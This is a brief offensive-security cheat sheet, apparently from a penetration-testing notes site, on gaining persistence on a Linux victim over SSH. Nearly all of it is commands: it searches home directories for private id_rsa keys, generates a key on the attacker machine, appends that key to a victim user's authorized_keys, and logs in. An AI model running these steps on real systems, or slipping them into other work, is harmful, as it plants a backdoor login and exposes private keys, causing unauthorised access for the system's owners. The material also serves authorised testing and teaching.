Persistence
Search for SSH key
find /home/ -name "id_rsa"
Linux persistence with SSH
Generate SSH Key in attacker machine:
ssh-keygen && xclip -selection clipboard ~/.ssh/id_rsa.pub
Victim Machine
echo "<paste ssh key>" >> /home/<user>/.ssh/authorized_keys
Login with SSH Key
ssh <username>@<hostname>
Last updated